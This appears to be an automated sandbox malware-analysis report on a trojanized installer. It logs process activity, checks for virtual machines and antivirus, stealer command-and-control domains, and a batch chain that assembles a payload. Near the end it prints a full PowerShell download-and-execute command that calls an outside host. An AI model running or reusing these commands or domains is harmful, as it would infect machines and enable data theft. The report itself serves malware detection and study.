Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

System information queried: FirmwareTableInformation

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

API/Special instruction interceptor: Address: 6BB47C44

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	RDTSC instruction interceptor: First address: 6BB4F3E1 second address: 6BB4F3FD instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-20h], eax 0x00000005 mov dword ptr [ebp-1Ch], edx 0x00000008 lea esi, dword ptr [ebp-38h] 0x0000000b xor eax, eax 0x0000000d xor ecx, ecx 0x0000000f cpuid 0x00000011 mov dword ptr [esi], eax 0x00000013 mov dword ptr [esi+04h], ebx 0x00000016 mov dword ptr [esi+08h], ecx 0x00000019 mov dword ptr [esi+0Ch], edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	RDTSC instruction interceptor: First address: 6BB4F3FD second address: 6BB4F3E1 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-18h], eax 0x00000005 mov dword ptr [ebp-14h], edx 0x00000008 mov eax, dword ptr [ebp-18h] 0x0000000b sub eax, dword ptr [ebp-20h] 0x0000000e mov ecx, dword ptr [ebp-14h] 0x00000011 sbb ecx, dword ptr [ebp-1Ch] 0x00000014 add eax, dword ptr [ebp-10h] 0x00000017 adc ecx, dword ptr [ebp-0Ch] 0x0000001a mov dword ptr [ebp-10h], eax 0x0000001d mov dword ptr [ebp-0Ch], ecx 0x00000020 jmp 00007F0E0C756985h 0x00000022 mov edx, dword ptr [ebp-04h] 0x00000025 add edx, 01h 0x00000028 mov dword ptr [ebp-04h], edx 0x0000002b cmp dword ptr [ebp-04h], 64h 0x0000002f jnl 00007F0E0C756A10h 0x00000031 rdtsc

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3823			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2476			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-1NSIN.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-S5E0S.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-S5E0S.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-1NSIN.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com TID: 7976	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8152	Thread sleep count: 3823 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8152	Thread sleep count: 2476 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8184	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8132	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8172	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: M6BJM5KUQF518S8VT.exe.12.dr	Binary or memory string: puQEMus
Source: installer_1.05_36.8.exe, 00000000.00000002.1689539507.000000000061E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000002.2222936996.000000000137F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000002.2222936996.000000000137F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: powershell.exe, 00000011.00000002.2143167569.000000000784C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

NtQuerySystemInformation: Direct from: 0x4585B0

LummaC encrypted strings found

Source: Likewise.com, 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: Likewise.com, 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: Likewise.com, 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
Source: Likewise.com, 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: Likewise.com, 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: Likewise.com, 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: Likewise.com, 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: Likewise.com, 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: Likewise.com, 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: siffinisherz.sbs

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Symphony Symphony.cmd & Symphony.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 180180	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Gilbert	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "uploaded" Smell	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 180180\Likewise.com + Moderators + Ship + Develops + Briefs + Cache + Web + Dependent + Crimes + Responsibility + Brandon + Separated 180180\Likewise.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Senegal + ..\Contract + ..\Chrome + ..\Renewable + ..\Vancouver + ..\Saving + ..\Topless + ..\Coordinate d	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com Likewise.com d	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe "C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content;
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content;			Jump to behavior

